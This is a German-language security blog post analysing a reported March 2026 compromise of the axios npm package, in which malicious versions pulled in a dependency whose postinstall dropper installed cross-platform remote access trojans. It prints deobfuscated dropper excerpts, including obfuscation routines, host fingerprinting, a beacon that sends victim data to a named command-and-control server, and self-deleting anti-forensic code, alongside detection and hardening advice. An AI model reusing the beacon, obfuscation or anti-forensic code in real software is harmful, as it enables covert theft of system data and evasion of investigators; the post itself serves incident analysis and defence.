Sicherheit·

Der Axios Supply Chain Angriff: Lehren aus der npm-Kompromittierung vom März 2026

Eine detaillierte technische Analyse des Axios npm Supply Chain Angriffs vom März 2026. Erfahren Sie, wie Angreifer ein Top-10 npm-Paket kompromittiert haben, um plattformübergreifende RATs zu verteilen, den Angriffszeitplan und essenzielle Verteidigungsstrategien für Ihre Organisation.

Der Axios Supply Chain Angriff: Lehren aus der npm-Kompromittierung vom März 2026

Am 31. März 2026 ereignete sich einer der anspruchsvollsten Supply Chain Angriffe in der Geschichte von npm. Die Axios HTTP Client Library—ein Grundpfeiler in praktisch jedem JavaScript-Projekt mit über 100 Millionen wöchentlichen Downloads—wurde kompromittiert, als Angreifer ein Maintainer-Konto übernahmen und zwei bösartige Versionen veröffentlichten, die plattformübergreifende Remote Access Trojans (RATs) auf Entwicklerrechnern weltweit installierten.

Dieser Beitrag analysiert genau, was passiert ist, wie der Angriff technisch funktioniert hat und vor allem, was Sie tun müssen, um Ihre Organisation zu schützen.

Der Angriff im Überblick

DetailInformation
Paketaxios (100M+ wöchentliche Downloads)
Bösartige Versionen1.14.1, 0.30.4
AngriffsvektorKompromittiertes Maintainer npm-Konto
Bösartige Abhängigkeit[email protected]
PayloadPlattformübergreifender RAT (macOS, Windows, Linux)
Expositionsfenster31. März 2026, 00:21–03:20 UTC (~3 Stunden)
ZuordnungUNC1069 (Nordkorea-Verbund, finanziell motiviert)
C2 Serversfrclak.com:8000 (142.11.206.73)

Wie der Angriff funktionierte

Schritt 1: Konto-Kompromittierung

Der Angreifer kompromittierte das npm-Konto von @jasonsaayman, einem Lead-Maintainer des Axios-Projekts. Forensische Beweise zeigen, dass die E-Mail-Adresse des Kontos von [email protected] zu [email protected] geändert wurde—eine vom Angreifer kontrollierte ProtonMail-Adresse.

Dies war kein Brute-Force-Angriff. Die Kompromittierung erfolgte wahrscheinlich durch:

  • Phishing, das auf Maintainer abzielt
  • Malware auf dem Rechner des Maintainers
  • Session Hijacking
  • Zuvor geleakte Anmeldedaten von anderen Datenschutzverletzungen

Schritt 2: Vorab-Inszenierung der Payload

Der Angriff wurde methodisch über 18 Stunden geplant:

30.03.2026 05:57 UTC: [email protected] veröffentlicht
    → Sauberer Köder, um npm-Historie aufzubauen
    
30.03.2026 23:59 UTC: [email protected] veröffentlicht
    → Bösartige Payload mit Postinstall-Hook

Der Angreifer veröffentlichte [email protected] 18 Stunden vor dem Hauptangriff. Diese "saubere" Version enthielt legitimen crypto-js-Code, diente aber einem kritischen Zweck: Sie baute eine Veröffentlichungshistorie auf, damit das Paket keine "brandneues Paket"-Alarme in Sicherheitsscannern auslöste.

Schritt 3: Die Payload-Injektion

Als [email protected] und [email protected] veröffentlicht wurden, enthielten sie diese harmlos aussehende Ergänzung in der package.json:

{
  "dependencies": {
    "axios": "^1.14.1",
    "plain-crypto-js": "4.2.1"
  }
}

Kritisches Detail: Die bösartige Abhängigkeit wurde nirgendwo im Axios-Quellcode importiert. Sie existierte allein, um npm's automatische postinstall-Skriptausführung auszulösen.

Schritt 4: Der Dropper-Mechanismus

Wenn ein Entwickler oder CI-System npm install ausführte, wurde folgende Kette ausgeführt:

npm install [email protected]
    ↓
npm löst Abhängigkeiten auf
    ↓
Lädt [email protected] herunter
    ↓
Führt Postinstall-Hook aus: node setup.js
    ↓
Dropper kontaktiert C2-Server
    ↓
Lädt plattformspezifische RAT-Payload herunter
    ↓
Selbstzerstörung zur Erkennungsvermeidung

Technischer Deep-Dive: Der Dropper

Der setup.js-Dropper verwendete ausgefeilte Verschleierung:

Ebene 1: Umgekehrter Base64 mit Padding-Ersetzung

// Verschleierte Strings mit benutzerdefinierter Kodierung
const payload = atob(str.split('').reverse().join('').replace(/~/g, '='));

Ebene 2: XOR-Verschlüsselung mit hartkodiertem Schlüssel

const key = 'OrDeR_7077';
const decrypted = encrypted.map((b, i) => b ^ key.charCodeAt(i % key.length) ^ 333);

Deobfuskierte Funktionalität:

// Plattformerkennung
const platform = os.platform();

// C2-Kommunikation
const c2Server = 'sfrclak.com:8000';
const victimId = crypto.randomBytes(8).toString('hex');

// System-Fingerprinting
const sysInfo = {
  hostname: os.hostname(),
  username: os.userInfo().username,
  platform: platform,
  arch: os.arch(),
  version: os.release(),
  processes: getRunningProcesses()
};

// Beacon zum C2 alle 60 Sekunden
setInterval(() => {
  fetch(`http://${c2Server}/beacon`, {
    method: 'POST',
    headers: { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)' },
    body: JSON.stringify({ victimId, ...sysInfo })
  });
}, 60000);

Plattformspezifische Payloads

macOS Payload

  • Ablageort: /Library/Caches/com.apple.act.mond (getarnt als Apple-Daemon)
  • Fähigkeiten:
    • Dateisystem-Enumeration (/Applications, ~/Library)
    • Prozessinjektion via codesign --force --deep --sign -
    • AppleScript-Ausführung
    • Screenshots
    • Keylogging

Windows Payload

  • Ablageort: %PROGRAMDATA%\wt.exe (getarnt als Windows Terminal)
    • Ausführung: Versteckte PowerShell mit Execution Policy Bypass
  • Fähigkeiten:
    • Registry-Manipulation
    • Persistenz via geplante Tasks
    • Credential-Harvesting
    • Laterale Bewegung

Linux Payload

  • Ablageort: /tmp/ld.py
  • Ausführung: nohup python3 /tmp/ld.py & (verwaister Prozess)
  • Fähigkeiten:
    • SSH-Key-Exfiltration
    • Sudo-Privilegienerhöhungsversuche
    • Container-Escape-Versuche

Schritt 5: Selbstzerstörung

Nach der Ausführung führte die Malware Anti-Forensik durch:

// Löscht den Dropper
fs.unlinkSync('setup.js');

// Ersetzt bösartige package.json durch sauberen Köder
fs.renameSync('package.md', 'package.json');

// Entfernt npm-Cache-Einträge
try {
  execSync('npm cache clean --force');
} catch(e) {}

Das Ergebnis: Ein Entwickler, der node_modules/plain-crypto-js nach der Installation inspiziert, würde ein scheinbar legitimes Paket ohne offensichtliche Anzeichen einer Kompromittierung finden.

Der Durchbruch bei der Erkennung

Der Angriff wurde durch mehrere konvergierende Signale erkannt:

StepSecurity AI Package Analyse

StepSecurity's AI Package Analyst markierte beide Versionen innerhalb von Minuten nach der Veröffentlichung:

Alarm: Anomale Abhängigkeitskette erkannt
Paket: [email protected]
Neue Abhängigkeit: [email protected]
Risikofaktoren:
  - Paket nicht im Quellcode importiert
  - Erster Auftritt im Abhängigkeitsbaum
  - Postinstall-Skript vorhanden
  - Verdächtige C2-Netzwerkaktivität

Harden-Runner CI-Erkennung

Harden-Runner (von 12.000+ öffentlichen Repos verwendet) erkannte den C2-Callback während CI-Läufen:

# Beispiel erkannt in backstage Repository
- Run: npm install
  Netzwerkereignisse:
    - Ausgehende Verbindung zu sfrclak.com:8000
    - Protokoll: HTTP
    - User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows XP)
    - Anomalie: Nie in vorherigen Workflow-Läufen gesehen

npm Registry Metadaten-Analyse

Sicherheitsforscher identifizierten den Beweis in npm-Metadaten:

// Legitime Veröffentlichung ([email protected])
{
  "publishConfig": {
    "provenance": true
  },
  "gitHead": "a1b2c3d...",
  "_npmUser": "jasonsaayman"
}

// Bösartige Veröffentlichung ([email protected])
{
  // Fehlt: provenance, gitHead
  // Geändert: email zu [email protected]
  "_npmUser": "jasonsaayman"  // Gleicher Username, andere Anmeldedaten
}

Der Wechsel vom OIDC Trusted Publisher (kryptographisch verifizierte GitHub Actions) zur manuellen CLI-Veröffentlichung mit geänderter E-Mail war der entscheidende Hinweis.

Sofortmaßnahmen erforderlich

Falls Sie Axios während des Fensters installiert haben

Gehen Sie von einer Kompromittierung aus. Der RAT war aktiv und sendete Signale innerhalb von 2 Sekunden nach der Installation.

  1. Isolieren Sie das betroffene System sofort
  2. Rotieren Sie alle Anmeldedaten, die das System berührt haben:
    • SSH-Schlüssel
    • API-Token
    • npm/Node.js Registry Token
    • Cloud-Provider-Anmeldedaten
    • Datenbank-Anmeldedaten
  3. Prüfen Sie auf laterale Bewegung:
    • Überprüfen Sie Authentifizierungsprotokolle
    • Prüfen Sie kürzliche Deployments
    • Scannen Sie auf Persistenzmechanismen
  4. Erstellen Sie das System neu oder führen Sie eine vollständige OS-Neuinstallation durch

Überprüfen Sie Ihre Abhängigkeiten

# Prüfen Sie, ob Sie die bösartigen Versionen haben
grep -r "axios.*1\.14\.1\|axios.*0\.30\.4" package*.json yarn.lock

# Prüfen Sie auf die bösartige Abhängigkeit
grep -r "plain-crypto-js" package*.json yarn.lock

# Verwenden Sie Snyk CLI
npx snyk test --severity-threshold=high

# Überprüfen Sie Snyk Advisory
# SNYK-JS-AXIOS-15850650
# SNYK-JS-PLAINCRYPTOJS-15850652

Verifizieren Sie Ihre Lockfiles

# Prüfen Sie axios-Version im Lockfile
npm list axios
yarn list axios
pnpm list axios

# Falls Sie 1.14.1 oder 0.30.4 verwenden:
# 1. Löschen Sie node_modules
# 2. Löschen Sie das Lockfile
# 3. Aktualisieren Sie auf sichere Version
# 4. Installieren Sie neu
npm install [email protected]  # oder neueste sichere Version

Verteidigungsstrategien

1. Implementieren Sie Dependency Pinning

Verwenden Sie niemals schwebende Versionen in der Produktion:

// ❌ Gefährlich
{
  "dependencies": {
    "axios": "^1.14.0"
  }
}

// ✅ Sicher
{
  "dependencies": {
    "axios": "1.14.0"
  }
}

Committen Sie Ihr Lockfile und verifizieren Sie es in CI:

# .github/workflows/ci.yml
- name: Lockfile verifizieren
  run: |
    if ! git diff --exit-code package-lock.json; then
      echo "Lockfile hat sich während der Installation geändert. Möglicher Angriff."
      exit 1
    fi

2. Verwenden Sie Private Registry Proxies

Leiten Sie npm durch eine private Registry, die bösartige Pakete blockieren kann:

// .npmrc
registry=https://your-private-registry.company.com

// Mit Paketfilterung
@axios:registry=https://registry.npmjs.org
// Bekannte bösartige Pakete blockieren
// Konfigurieren Sie über Registry-Dashboard

3. Aktivieren Sie Post-Install-Skript-Steuerungen

# npm
npm config set ignore-scripts true
npm install
npm run build  # Skripte explizit nach Prüfung ausführen

# yarn
yarn install --ignore-scripts

# pnpm
pnpm install --ignore-scripts

4. Implementieren Sie Netzwerküberwachung in CI

Verwenden Sie Harden-Runner oder ähnliche Tools, um anomale ausgehende Verbindungen zu erkennen:

- uses: step-security/harden-runner@v2
  with:
    egress-policy: block
    allowed-endpoints: |
      registry.npmjs.org:443
      github.com:443
      *.s3.amazonaws.com:443

5. Registry-Metadaten-Überwachung

Überwachen Sie auf verdächtige Änderungen:

// Beobachten Sie:
// - E-Mail-Änderungen in Maintainer-Konten
// - Neue Abhängigkeiten, die auftauchen
// - Versionsbumps ohne entsprechende Git-Tags
// - Veröffentlichungsmethoden-Änderungen (OIDC → CLI)

const axiosMetadata = await fetch('https://registry.npmjs.org/axios');
const latest = axiosMetadata.versions['1.14.1'];

if (latest._npmUser.email !== '[email protected]') {
  alert('Mögliche Kompromittierung erkannt');
}

6. Verwenden Sie Software Composition Analysis (SCA)

Tools wie Snyk, Dependabot und npm audit bieten Echtzeit-Warnungen:

# Snyk
npm install -g snyk
snyk test
snyk monitor  # Kontinuierliche Überwachung

# Dependabot (GitHub)
# In Repository-Einstellungen aktivieren

# npm audit
npm audit --audit-level=high

Langfristige strategische Änderungen

Für Paket-Maintainer

  1. Aktivieren Sie 2FA für alle npm-Konten (obligatorisch)
  2. Verwenden Sie npm's "publish with provenance" für alle Veröffentlichungen
  3. Halten Sie mehrere Maintainer mit unabhängigem Zugriff
  4. Überwachen Sie auf unautorisierte Veröffentlichungen via Webhooks
  5. Implementieren Sie Paket-Signierung mit Sigstore

Für Organisationen

  1. Verwenden Sie Ihre kritischen Abhängigkeiten selbst
    • Forken Sie Pakete in Ihre private Registry
    • Überprüfen Sie alle Updates vor der Übernahme
    • Pinnen Sie auf Ihre eigenen Versionen
  2. Implementieren Sie Supply Chain Security Plattformen
    • StepSecurity
    • Socket.dev
    • Phylum
  3. Bauen Sie Sicherheit in den SDLC ein
    • Pre-Commit-Hooks für Dependency-Scanning
    • CI-Gates für Schwachstellenerkennung
    • Automatisierte SBOM-Generierung
  4. Erstellen Sie Incident Response Playbooks
    • Supply Chain Kompromittierungsszenarien
    • Schnelle Dependency-Rollback-Verfahren
    • Credential-Rotation-Workflows

Das Größere Bild: Supply Chain Sicherheit im Jahr 2026

Dieser Angriff repräsentiert ein neues Maß an Raffinesse:

  • Vorab-Inszenierung: 18-stündiges Vorbereitungsfenster
  • Multi-Plattform: Simultane macOS, Windows, Linux Payloads
  • Dual-Branch: Beide 1.x und 0.x Release-Linien als Ziel
  • Selbstzerstörend: Anti-Forensik zur Erkennungsvermeidung
  • Nation-State-Qualität: UNC1069 zugeordnet (Nordkorea)

Die Angreifer verstanden npm's Trust-Modell intim:

  • Sie wussten über Postinstall-Hooks Bescheid
  • Sie verstanden, wie man "neues Paket"-Alarme umgeht
  • Sie nutzten die Lücke zwischen npm install und Sicherheitsscanning

Industrie-Reaktion

Nach diesem Vorfall werden mehrere Initiativen beschleunigt:

  1. npm erweitert Paket-Signierungsanforderungen
  2. GitHub macht 2FA für alle npm-Publisher obligatorisch
  3. Neue SLSA (Supply-chain Levels for Software Artifacts) Anforderungen
  4. Erhöhte Übernahme privater Registry-Proxies

Fazit

Die Axios-Kompromittierung zeigt, dass selbst die vertrauenswürdigsten, am weitesten verbreiteten Pakete zu Angriffsvektoren werden können. Die Angreifer haben keine Schwachstelle im Axios-Code ausgenutzt—sie haben das Vertrauen ausgenutzt, das wir dem gesamten npm-Ökosystem entgegenbringen.

Wichtigste Erkenntnisse:

  1. Vertrauen, aber verifizieren: Selbst populäre Pakete brauchen Prüfung
  2. Lockfiles sind kritisch: Sie verhindern stille Updates auf bösartige Versionen
  3. CI-Sicherheit zählt: Ihre Build-Pipeline ist eine Angriffsfläche
  4. Reaktionsgeschwindigkeit: Das ~3-Stunden-Fenster hätte ohne schnelle Erkennung verheerend sein können
  5. Defense in Depth: Keine einzelne Kontrolle ist ausreichend

Das JavaScript-Ökosystem bewegt sich schnell, aber Angreifer bewegen sich noch schneller. Widerstandsfähigkeit erfordert technische Kontrollen, Prozessdisziplin und ständige Wachsamkeit.


Brauchen Sie Hilfe bei der Sicherung Ihrer JavaScript Supply Chain? Kontaktieren Sie Tropical Media für einen umfassenden Dependency-Sicherheitsaudit und Implementierungs-Roadmap.

Ressourcen